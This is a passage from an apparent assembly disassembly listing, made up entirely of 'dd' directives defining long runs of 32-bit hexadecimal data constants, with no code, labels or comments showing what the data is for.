		dd 0CCCCE8A8h, 0A898975Dh, 0E725185Bh, 0D604EAFCh, 8F7EF4E0h
		dd 0BE923E09h, 849879F1h, 0BBCEDEA8h, 1B885800h, 95E0EA0Ch
		dd 0B55DB89Ah, 911139Ch, 0A85B9F38h, 7918B259h,	3C886050h
		dd 2CE9B441h, 94D927E7h, 0C900846h, 465CCCE4h, 0B5801094h
		dd 7427D04Ch, 4D68862h,	747B00DCh, 424866C8h, 0B36218ABh
		dd 2E692A89h, 7680BDC2h, 0F812B874h, 0A8B03004h, 0A521B403h
		dd 0F0012928h, 8101667Ch, 0A3EAC6C2h, 3C6C8B58h, 398C24ECh
		dd 0D7015275h, 0FC942F78h, 58C02E0Fh, 40CAA03Dh, 0A32F2455h
		dd 14CB732h, 0F83AB660h, 66E80014h, 78BCB31Dh, 8C04D703h
		dd 0AEB3B8BBh, 31E27C92h, 0F89C417Dh, 88D90893h, 4834ABE8h
		dd 7AAA1897h, 8B150168h, 8873DEE4h, 352F6DDDh, 1D24E374h
		dd 0BB083152h, 0EFAFBEAFh, 62675C22h, 6C718C4Ah, 97084EA7h
		dd 0EB045035h, 7482966Eh, 135C44D8h, 0AC27703Ah, 680492D4h
		dd 0ACE21A97h, 0F7815530h, 10016F66h, 0C10C39ACh, 0F070CFEAh
		dd 82500531h, 8EA090E0h, 0C42988FCh, 0C8C8C2F3h, 7423B4F6h
		dd 0BD182651h, 0C5987701h, 6E711C2Eh, 55B2BC41h, 0B5EB5407h
		dd 3EB3E10Ch, 38ECD852h, 0FB687h, 0D74726DFh, 0B0803802h
		dd 6599AE10h, 56682E34h, 1373B046h, 64B9F2h, 0C23EF7B8h
		dd 3C589432h, 8C7BF844h, 0C3DDEE00h, 0DA616DB9h, 734E31C1h
		dd 0CCE67921h, 0DE000A70h, 32BFE83h, 1C8CAE55h,	4378BFAh
		dd 0BC748EF1h, 200FA220h, 4AA2B037h, 24DC2C80h,	250C1F5Bh
		dd 84872CC6h, 6060B144h, 0B703ED13h, 85140DDAh,	1320FE3Ah
		dd 0A80C22FAh, 0E8214F98h, 7434A48Bh, 92F609D4h, 109DC2C9h
		dd 458FBE11h, 0B28D7A00h, 0C8E907C9h, 0F706EA25h, 1A683A16h
		dd 0B3EC1378h, 14C0435Ch, 19353822h, 18214EF1h,	5E106B4Fh
		dd 8C03B1FFh, 48269B47h, 0C65DC0CAh, 6A66003Ah,	0B456F1F8h
		dd 0A4B45032h, 42FAEB09h, 0EAA04168h, 273C1E6Fh, 817968D3h
		dd 4F880C3h, 7EF11388h,	34800F2Bh, 0AD3B2504h, 8BAB8BCh
		dd 2DC3F42Eh, 74BC5000h, 0EEBED1E3h, 0FAADF864h, 0C8665F99h
		dd 590013ECh, 1DFCC82Bh, 28817B1h, 0BE82C19Bh, 7840A621h
		dd 6297CEB5h, 0B1C04114h, 9A5EB436h, 4108010h, 58F87F70h
		dd 0B929E771h, 1FC43FCCh, 4C1EA202h, 7514577Bh,	53392090h
		dd 3B697C1Fh, 13A05F40h, 25045415h, 90C6C33Eh, 39604C8Dh
		dd 26A03FD9h, 98C794Ah,	9C71CCA2h, 0C0A46DA7h, 0DC44B5EFh
		dd 5B2C9FF2h, 5C099532h, 0E798A41Dh, 218894CEh,	0C6E7D3C0h
		dd 63570508h, 0F16FAE6Ah, 0FC127F04h, 862090E8h, 0E4A83C04h
		dd 54A33DA6h, 0CB302DB2h, 0D1500024h, 31995B69h, 1097340Bh
		dd 0ADCC8h, 2F093C9Ah, 0F5F3C70Ch, 7F6C0700h, 0D8E3136Fh
		dd 1EFF09E0h, 84E2CC3Ah, 0A5BDA060h, 97411488h,	0F454C489h
		dd 0CEF001DCh, 9CD897A8h, 0D10421EFh, 0BC603A06h, 0D1178Ah
		dd 0E682D90Eh, 0A2389581h, 604C562Ch, 315A808h,	0AAA0DF3Eh
		dd 0A1D59827h, 0DBE0FA44h, 2772C2F0h, 34F0C830h, 0D8473441h
		dd 58D0E9F5h, 0F86DEDDEh, 79326AE6h, 33B13C24h,	0D3B26EE1h
		dd 1C5B5902h, 616C3116h, 0CEFBD0h, 5458596Dh, 761E1C1h
		dd 126FBAB0h, 5A88B674h, 2723F82Fh, 32DAA00h, 26B0946Ah
		dd 1098E875h, 4F5D1693h, 0AED34020h, 59F1001Ch,	71D39E9h
		dd 0AB01DB13h, 8628D74Dh, 273FC588h, 0FEB4D090h, 0E51C24F1h
		dd 1EB8B76Dh, 4592B8C9h, 6E4BB4B9h, 8C881410h, 597E1FB4h
		dd 0B72094E8h, 25E8980Eh, 60535052h, 0EC9F30D0h, 0B2E91289h
		dd 86208842h, 52089209h, 0C4005E0Fh, 0BC0E5626h, 0D1309064h
		dd 0D0981808h, 9A2C4D06h, 20A84CD2h, 0BD0820B3h, 254856A0h
		dd 5160D85Ah, 53DCA489h, 128DF35h, 0ABE86F8Bh, 87899434h
		dd 0E0C780B0h, 0E53F6CC4h, 4A0B1C24h, 0B8D8E452h, 8E50A621h
		dd 460240BCh, 237DAC06h, 2D7DC5Ch, 5BF51D69h, 7C40E7EAh
		dd 52802408h, 977C728Bh, 8F20C814h, 0B0BF121Ah,	904ED6Ah
		dd 5C9786DAh, 1A1E02B4h, 0F739267Ch, 111931F2h,	0C462D464h
		dd 8FE2603h, 8EF084CAh,	2E008D9Ah, 8F7E85F8h, 2FC0075Bh
		dd 50636D95h, 384E51E0h, 0B880A295h, 0C10E2B3Bh, 0E0522EE9h
		dd 0BD80247Ch, 0B5CE0970h, 0BC04A6DCh, 3AB44206h, 70F644h
		dd 7709D9E0h, 0BE155A2Fh, 1EEC7802h, 31B0DF9Fh,	9D9AD0Fh
		dd 4DDD7663h, 4BF92A80h, 8200CFD6h, 8E5796EBh, 4A84A3E8h
		dd 88CC4480h, 0B1311D1Ah, 0A6E8BB61h, 0B414988Ch, 0B712DCA8h
		dd 0F4048FC5h, 0F0C24299h, 7FC4C489h, 7FE60107h, 0F6A8C9FEh
		dd 0E0D45055h, 2F63B3F9h, 0A948D620h, 126B258Fh, 0B854A9D0h
		dd 99920041h, 0DB3B7AE6h, 0A810BFE1h, 240B6042h, 442CCA80h
		dd 469D2208h, 8FD20990h, 60B28EE4h, 465698F6h, 0F8AA002Ah
		dd 0F6B7A395h, 457D03FDh, 8C3B143Ch, 0C8A6594Eh, 0D4D78BF0h
		dd 0A038E10Fh, 30DEA66Bh, 96710021h, 0D0995AF8h, 7B013C89h
		dd 0E8F6CE1Eh, 0E180704Fh, 0F808186h, 0C700D5D9h, 20E563E4h
		dd 7766DAC9h, 40358E9h,	6D9DBB0Fh, 90FBF02Bh, 4B20E09Dh
		dd 4EC09B3Eh, 2BB208B2h
		dd 3FFC30h, 1AFF7EB5h, 0BE8370C6h, 0A016FC90h, 149B3222h
		dd 12A5C1C0h, 0EE0232E1h, 96DD4F89h, 25DC5C34h,	0BDD98C51h
		dd 49037218h, 0FA427CAAh, 0AEB8F9BAh, 7C90B038h, 79277058h
		dd 0D0128C9Bh, 0E0E70270h, 0EC8EC505h, 188F8BFh, 0EA65B666h
		dd 78DB3E2Eh, 0B456F508h, 0DB2AFF19h, 29DF81E8h, 883E4D7Ch
		dd 3C006FD0h, 0F669C988h, 73248E0h, 87F8ACCFh, 807E942Ch
		dd 0CA9C8988h, 70201C98h, 3E349493h, 9F345FDBh,	711D218Dh
		dd 77F89020h, 8309D66h,	0B070BB94h, 0F8442D4Bh,	0C90E112Bh
		dd 80B8DBD2h, 8DB4B20h,	0E0E700D9h, 0FDEBBDDDh,	22123C46h
		dd 9CE704D4h, 392EA962h, 0A424D90Bh, 0E11B97C0h, 0FC6E7F24h
		dd 198F097Dh, 9C5C4402h, 0C1106451h, 5D12ECEAh,	74B89D5Bh
		dd 0E410A84Ch, 46BD0995h, 80A43765h, 0F6859DDh,	0D10A5BE1h
		dd 0F8B4ED4Dh, 0C16D5861h, 0EAFAEE30h, 3E2D0097h, 0EA356E5Eh
		dd 7606AF67h, 0AA0CBB68h, 0B8A29588h, 7112A7C0h, 182159BCh
		dd 91A600C6h, 0B80EA8F7h, 8490EB02h, 53114825h,	7488A4DCh
		dd 0FA022A46h, 0CF7998F3h, 27AEC0C0h, 0E494F90Bh, 114F89Bh
		dd 82EC9289h, 20F7AD47h, 0AF247568h, 0A111DCF1h, 3B100458h
		dd 815C2F2Eh, 0D581E1CCh, 0DD5CA02Fh, 0AC88B75Ah, 654E0055h
		dd 0DCF2EFAAh, 0BF009BB8h, 3C49A8DAh, 1FBC6954h, 0C27245A3h
		dd 0E3BD4803h, 0B6C2AC5Ch, 303A577Eh, 16F0357Dh, 0E010EA3h
		dd 0CCC5140Fh, 0CFE49231h, 73408957h, 0A20172DCh, 7077CA8Fh
		dd 60412AA4h, 9588B060h, 2F112C9Fh, 9BA56087h, 82BAF505h
		dd 0EA2163B8h, 0F2D2FACCh, 65DE0154h, 0BD0CD526h, 84D0DA88h
		dd 6F641C04h, 34AE890Eh, 239C3A08h, 0ADC40A28h,	0DAED01F0h
		dd 8E30E8AEh, 98C892F4h, 9D109FE8h, 2391DC9Dh, 0B4CB0C80h
		dd 3C9ADC12h, 44E1994Ah, 125BA0D0h, 1FE8B1Ch, 8641DEC2h
		dd 0E89B3B31h, 81ADDB80h, 0A41D3335h, 89BDE8CCh, 0D6B710ABh
		dd 20A34250h, 34AE6D04h, 224FC6Ch, 0FF6170CFh, 2445C8Fh
		dd 15EB3549h, 0BD796CF9h, 2A19A518h, 0C3828721h, 207FB5FDh
		dd 25BBF430h, 0C9908180h, 48C47798h, 867EA8BCh,	3E0E013Ch
		dd 0D917E26Fh, 38002AADh, 28768DF1h, 0B42650FEh, 96E97EEAh
		dd 0BF465EBCh, 0F690A501h, 7D4ED52Fh, 8D30090h,	28933C11h
		dd 1F009DCh, 0F054A83Fh, 0F81C2CA8h, 0C91F96BAh, 93556E0Fh
		dd 0BF88C8CEh, 32C51CC0h, 1D94769Ah, 0DD0C69DEh, 18B12631h
		dd 8BE89167h, 8E0584Eh,	38379F5Ch, 61652A0Eh, 490AC8E1h
		dd 20323CC0h, 48082CB0h, 0B93CC83h, 681B22FAh, 18DB815Fh
		dd 399D0481h, 8C033B1h,	252FA3DCh, 15448459h, 843AB442h
		dd 88244050h, 0DE97BC0Eh, 7626F490h, 0CBCC0EADh, 0F58027EAh
		dd 96A207ACh, 6F0D9B01h, 0B9FC0445h, 0AC20122Fh, 0BCD3EB8Ch
		dd 0D9462D6Ch, 18BAD9B8h, 0F33EC8Dh, 8106E53Ch,	0EADD6C00h
		dd 8B95608Bh, 13541444h, 0BC65E3B8h, 8CB3ECBCh,	0DC943C0Fh
		dd 0F1E8343Bh, 0EC2CA328h, 18C2AECh, 42ADE248h,	7CD2A01Dh
		dd 80345F10h, 2D88DC8Eh, 3C91D4C0h, 57EFAB0h, 0AB52D04Dh
		dd 84D0FC58h, 1216119Ch, 4A28E9D4h, 86864DDh, 8C7DACh
		dd 958F98E6h, 906323F3h, 20B2AF5Eh, 732148h, 0ACE6DD43h
		dd 0F623148Ah, 830BAE00h, 3D376760h, 0DE94B6A6h, 5C670B5h
		dd 519459C4h, 310C9120h, 38FECED2h, 0CA3FA824h,	0E4E68CA5h
		dd 0F4BB125Ch, 0D268A9BEh, 7723043Ah, 25B350Eh,	560432B4h
		dd 90662510h, 18B0F8A0h, 150CE4B7h, 0F48CD42Ch,	52825007h
		dd 0B2B8C2F8h, 62953CD8h, 0F120D9D8h, 55A182Fh,	0C343EDF4h
		dd 0CDD88156h, 48803AACh, 5AC2A8BDh, 0A098A74Dh, 0B6FBCBBh
		dd 0A324C870h, 4674EC5Ch, 7D510E2Bh, 0B0A1F8ACh, 263233EBh
		dd 6980A769h, 414BF7B4h, 0C33508Dh, 9833B0A2h, 0B837AF51h
		dd 14342068h, 85B0E81Bh, 9F10C191h, 54FCB444h, 0A787A189h
		dd 14811022h, 0D7494550h, 0CCEB8514h, 501E7CE3h, 0F8BA54A3h
		dd 0D844AB2Fh, 992ED000h, 371E90B4h, 1E06E221h,	829F8D69h
		dd 3D88F773h, 788CCD20h, 0F3E100E6h, 0F4A507B7h, 0A096F73Fh
		dd 2A465Eh, 36B4D43Fh, 0FF0EF48h, 0BD60FF37h, 2169A885h
		dd 0E0896E64h, 0D359F458h, 8035095Ch, 2594FE8Ah, 5B117065h
		dd 903FD84Ch, 1C046D40h, 0BB7EA98Ah, 2C5360FCh,	4C30BAA2h
		dd 0D87A0781h, 324FD322h, 4571FFCh, 0D49EBB3Ch,	71C07C88h
		dd 0C7DA3Ch, 15F7C5B1h,	0BC500ADDh, 7A016C04h, 88ED2732h
		dd 0B8098858h, 94DE53CEh, 57011544h, 2EBA1832h,	1CA99424h
		dd 0F89B80BCh, 30C42Dh,	7AE01F5Bh, 0F464A9C5h, 50FB1709h
		dd 0AF8073BFh, 7B646445h, 0F4577C61h, 0E604F13Bh, 983A14A2h
		dd 6CAC8894h, 0DE8C68A7h, 0D69936h, 53C27F28h, 0AC304A8Bh
		dd 0DF354F0Ch, 8A212Eh,	5306BB2Dh, 2088A517h, 4308C00h
		dd 118EE04Bh, 0B8140177h, 0EC22B66Dh, 88644E1Ah, 670FC07Ch
		dd 0D702BFF6h, 8829CAA0h, 0A655E1E5h, 6052B050h, 0C9BCFC8Bh
		dd 40F9FBD0h, 0F0182FD9h, 0EFF3A900h, 2E5DC72Dh, 32EFDD4h
		dd 8CCBB6ECh, 0C6A03780h, 0A4C07F5Ah, 4A2D5BE4h, 616C45A8h
		dd 4E7CCC05h, 0B890C5E2h, 0B6ECEA09h, 799C5966h, 59D1874h
		dd 8AB807B2h, 1298A953h, 18F82957h, 18C20ECh, 2C0357A8h
		dd 6BB239B9h, 724E5C49h, 64450010h, 0A3332D82h,	310C3718h
		dd 29A8D456h, 83A500DAh, 8482D7A9h, 0E302A2F3h,	0E5C106F5h
		dd 407C5CBBh, 72779580h, 2000D879h, 19387AA7h, 2D8EF90Eh
		dd 8B7AD57h, 0FA561900h, 374BC37h, 0CE3B1C32h, 0B08283E8h
		dd 0E000B072h, 0B1643CDDh, 578BC12h, 8B471EC9h,	11F0F00Bh
		dd 22B07402h, 602E43E7h, 412CABE8h, 0E4162BB7h,	4538506Fh
		dd 0CFFE2780h, 0F11953E0h, 982DDE24h, 0B62FFA80h, 631F3Fh
		dd 752CE441h, 0BDC34419h, 5DE6E718h, 2D85502Ah,	4458DE09h
		dd 123FF148h, 84F352EAh, 8C149A5Fh, 0B183854h, 0BB4CA615h
		dd 93B05882h, 91381DDFh, 9B878025h, 96CDC2Eh, 3F281A0Eh
		dd 4CABC440h, 5C58AC6Bh, 1CF36B1Ch, 6F5170h, 4ACA64CDh
		dd 781CC0B7h, 3E803F16h, 0B058D0C1h, 22A29863h,	0CA6BA531h
		dd 9F9F2D10h, 80201118h, 9A8C1D4h, 541707D5h, 845187F7h
		dd 0DFB4F4EFh, 0FE000491h, 1D02DBE5h, 40251F05h, 6CA80ACh
		dd 5A84ED14h, 44205CB8h, 340B2529h, 25913897h, 62E51880h
		dd 0B40C4807h, 5010C82Ah, 28389EF1h, 518504E8h,	0EC4C28DAh
		dd 3721808Ch, 1C106EC7h, 40CECAE2h, 0A612286h, 25006A7Fh
		dd 375CE18Ch, 5A9D8907h, 97948223h, 903AB600h, 90E8B405h
		dd 48DE2533h, 3526601Ch, 0FB92A68Ch, 2023203Ah,	0C542E004h
		dd 0BF881CCEh, 4D607FC7h, 32A809C2h, 0CF5937E2h, 0BE260460h
		dd 91EC1DB5h, 89C3807Dh, 1255B387h, 0B07C7BB2h,	9E7701E0h
		dd 7DB6A609h, 43FC7C31h, 5988F013h, 0BB00E7ADh,	82FC8FC8h
		dd 82C7799h, 0A2B439F1h, 7E951C80h, 2FEAA6A0h, 0D4E2E0ABh
		dd 0FCC9605Ch, 9804DCE4h, 0E3A81681h, 0B78ACFDh, 0EBEC2E26h
		dd 0B4526CE0h, 0D1898269h, 1877D144h, 0E4D717E9h, 200008B4h
		dd 0A7ACC831h, 24101822h, 0B39E0506h, 3BEA8364h, 1C2123F4h
		dd 66028038h, 96D52EF9h, 3A167104h, 0A4903310h,	70185BC9h
		dd 303E7CD7h, 83793D08h, 0C580BFFCh, 1E42E18h, 206C288Dh
		dd 0D42DB368h, 847862C3h, 5640221Ch, 0DFB71032h, 7D80B0BCh
		dd 0A145477Eh, 1FD40E94h
		dd 8601EC78h, 0C08E263Dh, 500A33Ch, 0A2274DD0h,	0B7D6D9D7h
		dd 1210BCCCh, 0E44A1D8Ch, 37414640h, 5C1BCFCh, 0F5806EF8h
		dd 0BF7884C7h, 2C326445h, 227CACA2h, 1D51849Ch,	117210Ch
		dd 61321434h, 0F7C81319h, 28E83AE9h, 0C5E00034h, 569C49D2h
		dd 654F17FCh, 1F60A060h, 4092802Fh, 5496C1D8h, 8004E0D4h
		dd 2BF3FE4Ah, 0FC1E2840h, 75549C6Bh, 1D2C00B6h,	3A14E7EAh
		dd 0ECB50248h, 2180FC38h, 0CB0850DEh, 32303D26h, 14894AB1h
		dd 427EB00h, 0E37DB66h,	0EC65009Ch, 3C60F673h, 89C52022h
		dd 0E0806D3Ah, 2DA8BF66h, 587A4CFEh, 0E9863600h, 9C31D4BDh
		dd 65BEF8B1h, 0E85BB19Ah, 0B51E80ECh, 76E74A9h,	0CA2C835Eh
		dd 2034E05Dh, 0B80144D0h, 91D8BA41h, 0A8EC8250h, 0F3D4326Dh
		dd 6CA7C749h, 440A11DDh, 0D42CFCCDh, 1F109B20h,	123A1E57h
		dd 70A8B41Fh, 4C60B441h, 0ACBC50A9h, 0F62E4AECh, 0C14228Ch
		dd 6E4EA0BFh, 7B4AC4D9h, 0B4C80081h, 0E8B4223Bh, 84BCCC61h
		dd 1DD21859h, 2A8E3CE8h, 0B5C893C2h, 8038B777h,	0A1DBC917h
		dd 0B14CD987h, 0B9481778h, 9CED5016h, 0B502C2B8h, 0BCBB7F30h
		dd 24B3D7E1h, 342BA99h,	53EBB1Eh, 0FC8B4A38h, 46D8D0B5h
		dd 8013BD9Dh, 58E9666Ah, 121F5310h, 0E4B2C5CAh,	388BE80Eh
		dd 9D55385Ah, 807691E4h, 41900B80h, 0F452190Ah,	6DE640ECh
		dd 0B7C92DB8h, 2EEF0140h, 28370BF4h, 8C2BECECh,	67CAFE00h
		dd 0DF043E4h, 0FD2D1F9Dh, 7F3742BCh, 90D7E9D4h,	6BB93918h
		dd 14C481AAh, 0C879400h, 0A3AE8863h, 90B5B7FAh,	19892991h
		dd 2F506802h, 78E9205Eh, 1C179764h, 0EC60BD64h,	7B09069Eh
		dd 76BA9790h, 3B8984C4h, 0A200BCEBh, 14512944h,	9A182B79h
		dd 10DCC800h, 1F974766h, 85F12414h, 0F85669B8h,	0DC105449h
		dd 550E1809h, 40BCF4D5h, 0E157C4A0h, 0A217D300h, 14765A87h
		dd 8F6500E9h, 0A005B9F9h, 0E9956C16h, 0F6E1BD2Ch, 0AE88842Fh
		dd 8A351028h, 5DA09057h, 0FBCA0073h, 0F6C484F4h, 58003A23h
		dd 0B8280960h, 7A434974h, 4494975Bh, 5CB815FDh,	0E80B2220h
		dd 0C58E38ABh, 5DBB8EDCh, 0A3805090h, 9D560C40h, 0CFC0886Dh
		dd 181EDDFh, 0EA02ECE4h, 348A808Bh, 0B8042B84h,	70C688BFh
		dd 0BDEC25AEh, 3983B818h, 0FF28D36Bh, 37F027A0h, 76D91479h
		dd 2764C019h, 0DC2E9E09h, 565CAB7Fh, 74806ABCh,	7409B146h
		dd 0A0822063h, 710944A2h, 7874AB30h, 0BC7ACE14h, 74188202h
		dd 0E01D7FFBh, 80064028h, 86026531h, 18E66BB3h,	0B409F7FCh
		dd 28709453h, 1A15EAD9h, 0B0620D57h, 0C77008DBh, 0E53E029Ch
		dd 378C22B4h, 0D93C8907h, 0C0B8FCC9h, 0EAC15D58h, 32884C5h
		dd 0BB7E6FAh, 140F954h,	43DDF62Eh, 0E8886B24h, 4E5E208Dh
		dd 0BA3CE69Dh, 0B76E248Ch, 0E0E34B2Ch, 746EBECCh, 91D04D00h
		dd 0D7AE4901h, 0B2C66B5h, 3AC01A0Eh, 6CF5E0A0h,	426B22B9h
		dd 1A049F0h, 40F20030h,	6E58F64Fh, 65368004h, 4A9A88C6h
		dd 0A060F73Ch, 9A449C7h, 0BA3933D5h, 2601905Ah,	1132EFA6h
		dd 0F8306D3Bh, 176C909Bh, 0CE24DB19h, 0C0BB8848h, 8EE4E276h
		dd 2A27EB04h, 35AFCEB1h, 1E50A268h, 23C01084h, 6D2AF352h
		dd 182C00C7h, 0AA19F7D4h, 4125914Ch, 0B7D8E684h, 43C008CDh
		dd 5CD956C7h, 0DF123CEAh, 4EE0322Ah, 0B83D7Dh, 805094C5h
		dd 7702BFDEh, 0B81214DCh, 0EEA4C817h, 748CBCB4h, 0A2057646h
		dd 0E8370E1Ah, 38CD8008h, 0CB512Ch, 0AA2685B1h,	4A523A53h
		dd 0B0F36D4Ah, 507A942Dh, 0A730AB11h, 16CE94Ah,	0A83F4593h
		dd 482B7D26h, 50808870h, 0D75364BCh, 973F0055h,	0BB2C8C40h
		dd 830639B7h, 0E9953B06h, 94B42058h, 0C560B048h, 0F0403F88h
		dd 9EDE23CCh, 0FF406B5h, 80AD1B65h, 2C056DF8h, 0B7D5A6B9h
		dd 0D2D4A440h, 773CA826h, 9DF03BC4h, 7E911581h,	4331CE0Bh
		dd 0BEC1BD8h, 69B0746Dh, 7B797079h, 0A2F0F318h,	82BA523Ah
		dd 0E42EC1D3h, 4A10F03Fh, 0B824FD57h, 466722Ch,	1F4F8C59h
		dd 0C82DAE0Ch, 0E0F8F62Bh, 2D7E40B9h, 3871C4BCh, 42485047h
		dd 0D403BD48h, 0DC7153E6h, 0D330BCA2h, 1CAD0086h, 0E510691Bh
		dd 2E017CBDh, 70AB0D66h, 2C2F7936h, 89857A4Ch, 3C783191h
		dd 0A65C0097h, 32DDEA0h, 3F272597h, 3EA105A7h, 4C312FFFh
		dd 299AF726h, 1803218Fh, 491D49FFh, 240E3251h, 40488288h
		dd 6764E18Ah, 80B89B7Eh, 0F2AC3901h, 0E46A6B4Bh, 32169CDAh
		dd 10B3259Ch, 0A73374B2h, 7EB4B279h, 0BC2D1648h, 29D7E230h
		dd 0ED70DC53h, 0E2AD4A97h, 398984CCh, 0A8666004h, 0B8BFC16Ch
		dd 0D13F49DEh, 0F1ACBE8h, 55C02C88h, 3BD6B882h,	844BC939h
		dd 0F898B8A4h, 0A4018C2Fh, 46CB7F43h, 742FC417h, 23502A48h
		dd 0F3E2002Dh, 859D8C2h, 33FA6704h, 48C2AB69h, 0F824D5C8h
		dd 6AFF4736h, 84720310h, 0C50C09D5h, 18561C5Bh,	49F8DE03h
		dd 0B7A0BAFDh, 0C51D84D4h, 1075ABC0h, 27B21CB2h, 984FB30h
		dd 9A5E9283h, 0C08085Ch, 223402BAh, 785E2604h, 0CC61C1E5h
		dd 0CD6BC4BDh, 23C6068h, 74CB6C4Bh, 0B2DCF24Ah,	292C302Dh
		dd 0F34A002h, 73CF6B27h, 1C15AD50h, 43852791h, 0BDDD80BAh
		dd 4A0CCB47h, 50B9B08Bh, 916571BEh, 192AD134h, 399A6AD0h
		dd 0D300B339h, 80BD8C2Ch, 84A84052h, 0F4A71631h, 5E632744h
		dd 73F86FF0h, 789C61Ch,	0DE012A9Ch, 18BF2FCCh, 8BA0742Fh
		dd 0C4B388D4h, 0AF28C10Ah, 74CB6B2Eh, 0BEB89058h, 2A3908Ch
		dd 5B1754CFh, 94A03A88h, 0FC3BB897h, 9256B400h,	14937ACEh
		dd 0F35C5A9Ch, 30BEA2A8h, 130FD599h, 62E697D6h,	0FCEAB81Fh
		dd 0EDF8160Ch, 8C24AC18h, 0F392BB00h, 1042446Ah, 58E695BFh
		dd 0ABF0D6EAh, 1644F20h, 0F66619A7h, 3A5647A3h,	0B70C88h
		dd 0EF88E658h, 0C196A0FCh, 0F2FA5512h, 7FB634C0h, 271490F7h
		dd 10C5717Eh, 50107BA7h, 2B00BAFFh, 3E3F36F1h, 8107201Ah
		dd 48202A94h, 0AAD6EBh,	5DF44FE1h, 9DFC4842h, 0FBD2C005h
		dd 60AF9CA5h, 8DCCB3A0h, 1250BC80h, 0F0045ADFh,	804F9C28h
		dd 56ABA824h, 8E309B94h, 91DA81BCh, 1CFD6E9Bh, 95751E4h
		dd 0D48131D2h, 16020074h, 8228881Ah, 74A8BC4Ch,	385C5A1Ch
		dd 0AA4300D4h, 0A280932Eh, 7707D9F8h, 7EA81F17h, 236C105Bh
		dd 4467F309h, 0EA2966A0h, 4987F10Bh, 6E1C7E5Dh,	7976B062h
		dd 73D4AE00h, 0C578029h, 22C83A12h, 2ABC04E9h, 0DA4A098Ch
		dd 0C4D40E20h, 0C0BD6416h, 0F4B212DEh, 0B0A05FB0h, 0E09EBD70h
		dd 331C888h, 2CB93963h,	0AB182900h, 0EA83E674h,	0CCB04CB3h
		dd 0F044B65Eh, 250522DAh, 8451E6B8h, 0C3A03C00h, 91EE87CAh
		dd 5E658360h, 3388AC73h, 0AA01B81Dh, 0F67B6C31h, 5C7188C4h
		dd 9448DE2Fh, 221500DFh, 55410ECCh, 0B61E0628h,	29278879h
		dd 0F9FB5E0Eh, 157FE065h, 1DFA8D6h, 0D16E59EEh,	2BA3C080h
		dd 9B4FDCCBh, 0C90681BCh, 0F0DF119Ah, 540F80Dh,	58CFB988h
		dd 0E0BCE69Eh, 0FA29730h, 5D56E5B9h, 30D6DCCBh,	5CF05EBCh
		dd 0C7D04A83h, 0D49680F0h, 0ECB21B7Bh, 1E2CFC39h, 0A22535FFh
		dd 574466F0h, 0AB10A04Ch, 0AD2EA614h, 3ADE0888h, 2F81A29Dh
		dd 48B134E5h, 6EFC7080h, 9B2C5B07h, 0F7656C00h,	0C7ADCFEAh
		dd 0A0371701h, 0B38E89Ah, 0E1E7A626h, 176E576Fh, 4D58AC20h
		dd 73106BB0h, 208770F8h, 0BF303B90h, 0B384C8C7h, 2CE09D2Eh
		dd 329DB170h, 0F435D510h, 3869FC03h, 0ADCAF03Eh, 66F63A10h
		dd 0B0E8AC58h, 1AE3008Ch
		dd 1C5BDE68h, 0B4909217h, 0A8AB4813h, 9710A086h, 0D3703CFBh
		dd 5D6300B6h, 0FBBCFA03h, 89266E4Fh, 0BB0810C5h, 0A0350509h
		dd 0EC01BB4Eh, 0A568EC2Ah, 0F81D5460h, 0D0744B42h, 24C0BCD0h
		dd 1C9BDC18h, 12323738h, 0FA362A22h, 282EF07Ah,	2C5807CCh
		dd 0F43F4098h, 5049ABEAh, 0F7621D09h, 45ABBF12h, 0B07DB62Ch
		dd 0E74BA844h, 0A3857891h, 10C4F72Ah, 4E1642D2h, 0E130BCADh
		dd 8005B38Eh, 183E1BCh,	46825009h, 0E0F0CDEAh, 0C30D668h
		dd 9F44DF64h, 747AC8C1h, 5B3CDD6Bh, 0E219C0F0h,	0B86CF651h
		dd 596E6B88h, 41ABF005h, 2E32A6C8h, 0EFEA1063h,	0CFA8A06Dh
		dd 2F374F62h, 13752384h, 5A44F8ABh, 5B1364E6h, 72360926h
		dd 8EDCB45Eh, 6D92009Ch, 3EB5B8E0h, 409A8EDBh, 0BD4C391Ch
		dd 90BCD192h, 141CBCD2h, 12D85857h, 0BFE69B6h, 0A40EC634h
		dd 9CDC860Bh, 0E20325F4h, 9402000Bh, 88072234h,	0B7A860CBh
		dd 1E5DE0FEh, 5176D9Ah,	0EE56A015h, 0BCC83017h,	0AAF47Fh
		dd 0A90E62Fh, 0C8468742h, 6C104326h, 5E4F7609h,	60286F70h
		dd 7EDEF400h, 5A469019h, 0E74CF169h, 96875CA4h,	1CF0F0E8h
		dd 7929B388h, 23DD0451h, 0AF6DB69Fh, 0E1A88021h, 1EA489A4h
		dd 8E814FCh, 0CCDF393Ch, 0D414738h, 0AE70856Bh,	1AB41C30h
		dd 2B2B4150h, 0D42E8C80h, 1B17429Bh, 8859704Eh,	0C8517Ch
		dd 626F6CE4h, 0D177E6C9h, 29072E78h, 0ECBDF3FAh, 0F613E472h
		dd 0C1B71EBCh, 0F0D16A6h, 158224Eh, 22B644D2h, 442E3B1Ch
		dd 12AC047Ch, 4B8504E0h, 600C126h, 19B5F077h, 3029B1D4h
		dd 0DDE04967h, 52BF065Ch, 0F1F0D441h, 98C49Dh, 43FEB33Fh
		dd 0E5AF9E16h, 9E7D21Fh, 0B6194F80h, 8213302Ah,	8BE83090h
		dd 9C88A02Ch, 44545CA5h, 8B4A414Bh, 0D13B8184h,	1021D880h
		dd 0D3826C93h, 0DB03AE18h, 10652EC5h, 0AA40D8h,	0F9A4186Ch
		dd 0B53E810Fh, 0FF747CECh, 0DCA62E5Bh, 28F883F3h, 0D10147C5h
		dd 719A5CD0h, 0CE2FC4BDh, 0C123C8C0h, 7AD43A6Ch, 995764D3h
		dd 6834F0C5h, 0D5C612A2h, 309C0586h, 0A088A702h, 0BCDE2612h
		dd 6EEC83FCh, 9F98387Fh, 0F500F3D3h, 9281787Bh,	0E6882C59h
		dd 0B73F07B1h, 90B9DBD6h, 0C3D8F833h, 0B4E84CBAh, 30A4324Bh
		dd 0C1D727E2h, 1B008CF1h, 34D1F89h, 0EBA017B8h,	386830D5h
		dd 801C139h, 1FF2D34Fh,	0A03AF6A8h, 3E25FCA8h, 0DC94F6CAh
		dd 8033203Ah, 0F1D0C2Dh, 123ECCC4h, 0AE1BE83Ah,	78625029h
		dd 0B8302DE2h, 0FC3F0ECDh, 15406872h, 3A16E44Ah, 60C11476h
		dd 76FF05CCh, 0D2ED5896h, 87C538Ch, 737B465Eh, 0C88E4B02h
		dd 0C1EE942Fh, 0E811673Ch, 0C5ECAABh, 7090DB27h, 8D48052Dh
